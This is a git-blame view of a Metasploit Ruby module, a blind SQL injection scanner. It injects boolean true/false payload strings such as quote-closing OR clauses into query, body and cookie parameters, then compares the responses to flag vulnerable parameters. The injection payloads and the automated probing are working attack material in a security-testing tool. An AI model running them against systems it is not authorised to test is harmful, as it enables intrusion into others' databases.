Files
metasploit-gs/modules/auxiliary/scanner/http/blind_sql_query.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

484 lines
14 KiB
Ruby
Raw Normal View History

2009-12-30 22:24:22 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-30 22:24:22 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2009-12-30 22:24:22 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
2009-12-30 22:24:22 +00:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'HTTP Blind SQL Injection Scanner',
'Description' => %q{
This module identifies the existence of Blind SQL injection issues
in GET/POST Query parameters values.
},
'Author' => [ 'et [at] cyberspace.org' ],
'License' => BSD_LICENSE,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
register_options(
[
2012-02-17 22:36:33 -06:00
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
2025-06-20 13:20:44 +01:00
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
2009-12-30 22:24:22 +00:00
OptString.new('DATA', [ false, "HTTP Body Data", '']),
2025-06-20 13:20:44 +01:00
OptString.new('COOKIE', [ false, "HTTP Cookies", ''])
]
)
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def run_host(ip)
# Force http verb to be upper-case, because otherwise some web servers such as
# Apache might throw you a 501
http_method = datastore['METHOD'].upcase
2013-08-30 16:28:54 -05:00
gvars = Hash.new()
pvars = Hash.new()
cvars = Hash.new()
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
rnum = rand(10000)
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
inivalstr = [
2025-06-20 13:20:44 +01:00
[
'numeric',
" AND #{rnum}=#{rnum} ",
" AND #{rnum}=#{rnum + 1} "
],
2025-06-20 13:20:44 +01:00
[
'single quotes',
"' AND '#{rnum}'='#{rnum}",
"' AND '#{rnum}'='#{rnum + 1}"
2009-12-30 22:24:22 +00:00
],
2025-06-20 13:20:44 +01:00
[
'double quotes',
"\" AND \"#{rnum}\"=\"#{rnum}",
"\" AND \"#{rnum}\"=\"#{rnum + 1}"
2012-02-22 19:24:52 -06:00
],
2025-06-20 13:20:44 +01:00
[
'OR single quotes uncommented',
"' OR '#{rnum}'='#{rnum}",
"' OR '#{rnum}'='#{rnum + 1}"
2012-02-22 19:24:52 -06:00
],
2025-06-20 13:20:44 +01:00
[
'OR single quotes closed and commented',
"' OR '#{rnum}'='#{rnum}'--",
"' OR '#{rnum}'='#{rnum + 1}'--"
2012-02-22 19:24:52 -06:00
],
2025-06-20 13:20:44 +01:00
[
'hex encoded OR single quotes uncommented',
"'%20OR%20'#{rnum}'%3D'#{rnum}",
"'%20OR%20'#{rnum}'%3D'#{rnum + 1}"
2012-02-22 19:24:52 -06:00
],
2025-06-20 13:20:44 +01:00
[
'hex encoded OR single quotes closed and commented',
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
"'%20OR%20'#{rnum}'%3D'#{rnum + 1}'--"
2009-12-30 22:24:22 +00:00
]
]
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
# Creating strings with true and false values
valstr = []
inivalstr.each do |vstr|
# With true values
valstr << vstr
2012-06-06 00:36:17 -05:00
# With false values, appending 'x' to real value
2025-06-20 13:20:44 +01:00
valstr << ['False char ' + vstr[0], 'x' + vstr[1], 'x' + vstr[2]]
2012-06-06 00:36:17 -05:00
# With false values, appending '0' to real value
2025-06-20 13:20:44 +01:00
valstr << ['False num ' + vstr[0], '0' + vstr[1], '0' + vstr[2]]
2012-02-22 22:18:39 -06:00
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# valstr.each do |v|
2012-02-22 22:18:39 -06:00
# print_status("#{v[0]}")
# print_status("#{v[1]}")
# print_status("#{v[2]}")
2025-06-20 13:20:44 +01:00
# end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
#
# Dealing with empty query/data and making them hashes.
#
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if !datastore['QUERY'] or datastore['QUERY'].empty?
2009-12-30 22:24:22 +00:00
datastore['QUERY'] = nil
gvars = nil
else
2025-06-20 13:20:44 +01:00
gvars = queryparse(datastore['QUERY']) # Now its a Hash
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if !datastore['DATA'] or datastore['DATA'].empty?
2009-12-30 22:24:22 +00:00
datastore['DATA'] = nil
pvars = nil
else
pvars = queryparse(datastore['DATA'])
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
2009-12-30 22:24:22 +00:00
datastore['COOKIE'] = nil
cvars = nil
else
cvars = queryparse(datastore['COOKIE'])
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
verifynr = 2
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
i = 0
k = 0
c = 0
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
normalres = nil
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
verifynr.times do |j|
2025-06-20 13:20:44 +01:00
# SEND NORMAL REQUEST
2012-02-22 22:18:39 -06:00
begin
normalres = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
2012-02-22 22:18:39 -06:00
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
if not normalres
print_error("No response")
return
else
2025-06-20 13:20:44 +01:00
if i == 0
2012-02-22 22:18:39 -06:00
k = normalres.body.length
c = normalres.code.to_i
else
if k != normalres.body.length
print_error("Normal response body vary")
2012-03-18 00:07:27 -05:00
return
2012-02-22 22:18:39 -06:00
end
if c != normalres.code.to_i
print_error("Normal response code vary")
2012-03-18 00:07:27 -05:00
return
2012-02-22 22:18:39 -06:00
end
end
end
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 22:18:39 -06:00
print_status("[Normal response body: #{k} code: #{c}]")
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
pinj = false
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
valstr.each do |tarr|
2025-06-20 13:20:44 +01:00
# QUERY
2009-12-30 22:24:22 +00:00
if gvars
2025-06-20 13:20:44 +01:00
gvars.each do |key, value|
2012-02-22 22:18:39 -06:00
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# SEND TRUE REQUEST
testgvars = queryparse(datastore['QUERY']) # Now its a Hash
testgvars[key] = testgvars[key] + tarr[1]
2012-02-22 22:18:39 -06:00
t = testgvars[key]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
trueres = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
2012-02-22 19:24:52 -06:00
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# SEND FALSE REQUEST
testgvars = queryparse(datastore['QUERY']) # Now its a Hash
testgvars[key] = testgvars[key] + tarr[2]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
falseres = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
2012-02-22 19:24:52 -06:00
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2012-03-18 00:07:27 -05:00
end
2013-08-30 16:28:54 -05:00
pinja = false
pinjb = false
pinjc = false
pinjd = false
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
pinja = detection_a(normalres, trueres, falseres, tarr)
pinjb = detection_b(normalres, trueres, falseres, tarr)
pinjc = detection_c(normalres, trueres, falseres, tarr)
pinjd = detection_d(normalres, trueres, falseres, tarr)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
report_web_vuln(
:host => ip,
:port => rport,
2025-06-20 13:20:44 +01:00
:vhost => vhost,
:ssl => ssl,
2012-11-08 17:42:48 +01:00
:path => normalize_uri(datastore['PATH']),
2012-02-22 19:24:52 -06:00
:method => http_method,
2025-06-20 13:20:44 +01:00
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
2012-02-22 19:24:52 -06:00
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
2009-12-30 22:24:22 +00:00
end
end
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# DATA
2009-12-30 22:24:22 +00:00
if pvars
2025-06-20 13:20:44 +01:00
pvars.each do |key, value|
2012-02-22 19:24:52 -06:00
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# SEND TRUE REQUEST
testpvars = queryparse(datastore['DATA']) # Now its a Hash
testpvars[key] = testpvars[key] + tarr[1]
2012-02-22 22:18:39 -06:00
t = testpvars[key]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
pvarstr = ""
2025-06-20 13:20:44 +01:00
testpvars.each do |tkey, tvalue|
2012-02-22 19:24:52 -06:00
if pvarstr
pvarstr << '&'
end
2025-06-20 13:20:44 +01:00
pvarstr << tkey + '=' + tvalue
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
trueres = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
2012-02-22 19:24:52 -06:00
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# SEND FALSE REQUEST
testpvars = queryparse(datastore['DATA']) # Now its a Hash
testpvars[key] = testpvars[key] + tarr[2]
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
pvarstr = ""
2025-06-20 13:20:44 +01:00
testpvars.each do |tkey, tvalue|
2012-02-22 19:24:52 -06:00
if pvarstr
pvarstr << '&'
end
2025-06-20 13:20:44 +01:00
pvarstr << tkey + '=' + tvalue
2012-02-22 19:24:52 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
begin
falseres = send_request_cgi({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
2012-02-22 19:24:52 -06:00
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2012-06-06 00:44:38 -05:00
end
2013-08-30 16:28:54 -05:00
pinja = false
pinjb = false
pinjc = false
pinjd = false
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
pinja = detection_a(normalres, trueres, falseres, tarr)
pinjb = detection_b(normalres, trueres, falseres, tarr)
pinjc = detection_c(normalres, trueres, falseres, tarr)
pinjd = detection_d(normalres, trueres, falseres, tarr)
2013-08-30 16:28:54 -05:00
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
report_web_vuln(
:host => ip,
:port => rport,
2025-06-20 13:20:44 +01:00
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
2012-02-22 19:24:52 -06:00
:method => http_method,
2025-06-20 13:20:44 +01:00
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
2012-02-22 19:24:52 -06:00
)
2009-12-30 22:24:22 +00:00
else
2012-02-22 19:24:52 -06:00
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
end
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def detection_a(normalr, truer, falser, tarr)
2012-02-22 19:24:52 -06:00
# print_status("A")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
# DETECTION A
2024-01-07 15:02:53 -05:00
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if normalr and truer
2025-06-20 13:20:44 +01:00
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
reltruesize = truer.body.length - (truer.body.scan(/#{tarr[1]}/).length * tarr[1].length)
2012-02-22 19:24:52 -06:00
normalsize = normalr.body.length
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# print_status("normalsize #{normalsize} truesize #{reltruesize}")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if reltruesize == normalsize
if falser
2025-06-20 13:20:44 +01:00
relfalsesize = falser.body.length - (falser.body.scan(/#{tarr[2]}/).length * tarr[2].length)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# print_status("falsesize #{relfalsesize}")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
if reltruesize > relfalsesize
print_status("Detected by test A")
2012-02-22 19:24:52 -06:00
return true
else
return false
2009-12-30 22:24:22 +00:00
end
else
2012-02-22 22:18:39 -06:00
vprint_status("NO False Response.")
2012-02-22 19:24:52 -06:00
end
else
2012-02-22 22:18:39 -06:00
vprint_status("Normal and True requests are different.")
2012-02-22 19:24:52 -06:00
end
else
print_status("No response.")
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def detection_b(normalr, truer, falser, tarr)
2012-02-22 19:24:52 -06:00
# print_status("B")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
# DETECTION B
# Variance on res body
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
if normalr and truer
2012-02-22 19:24:52 -06:00
if falser
2025-06-20 13:20:44 +01:00
# print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if (truer.body.length - tarr[1].length) != normalr.body.length and (falser.body.length - tarr[2].length) == normalr.body.length
print_status("Detected by test B")
2012-02-22 19:24:52 -06:00
return true
end
2025-06-20 13:20:44 +01:00
if (truer.body.length - tarr[1].length) == normalr.body.length and (falser.body.length - tarr[2].length) != normalr.body.length
print_status("Detected by test B")
2012-02-22 19:24:52 -06:00
return true
2009-12-30 22:24:22 +00:00
end
end
2012-02-22 19:24:52 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def detection_c(normalr, truer, falser, tarr)
2012-02-22 19:24:52 -06:00
# print_status("C")
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
# DETECTION C
# Variance on res code of true or false statements
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
if normalr and truer
2012-02-22 19:24:52 -06:00
if falser
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
print_status("Detected by test C")
2012-02-22 19:24:52 -06:00
return true
end
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
print_status("Detected by test C")
return true
end
end
end
2013-08-30 16:28:54 -05:00
return false
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def detection_d(normalr, truer, falser, tarr)
# print_status("D")
2013-08-30 16:28:54 -05:00
# DETECTION D
# Variance PERCENTAGE MIN MAX on res body
2013-08-30 16:28:54 -05:00
# 2% 50%
2012-03-18 00:07:27 -05:00
max_diff_perc = 2
2012-08-07 15:59:01 -05:00
min_diff_perc = 50
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
if normalr and truer
if falser
2025-06-20 13:20:44 +01:00
nl = normalr.body.length
tl = truer.body.length
fl = falser.body.length
2013-08-30 16:28:54 -05:00
2012-02-23 15:45:51 -06:00
if nl == 0
nl = 1
end
if tl == 0
tl = 1
end
if fl == 0
fl = 1
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
ntmax = [ nl, tl ].max
ntmin = [ nl, tl ].min
diff_nt_perc = ((ntmax - ntmin) * 100) / (ntmax)
diff_nt_f_perc = ((ntmax - fl) * 100) / (ntmax)
2013-08-30 16:28:54 -05:00
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
print_status("Detected by test D")
return true
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
nfmax = [ nl, fl ].max
nfmin = [ nl, fl ].min
diff_nf_perc = ((nfmax - nfmin) * 100) / (nfmax)
diff_nf_t_perc = ((nfmax - tl) * 100) / (nfmax)
2013-08-30 16:28:54 -05:00
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
print_status("Detected by test D")
2012-02-22 19:24:52 -06:00
return true
end
end
end
2013-08-30 16:28:54 -05:00
2012-02-22 19:24:52 -06:00
return false
2009-12-30 22:24:22 +00:00
end
end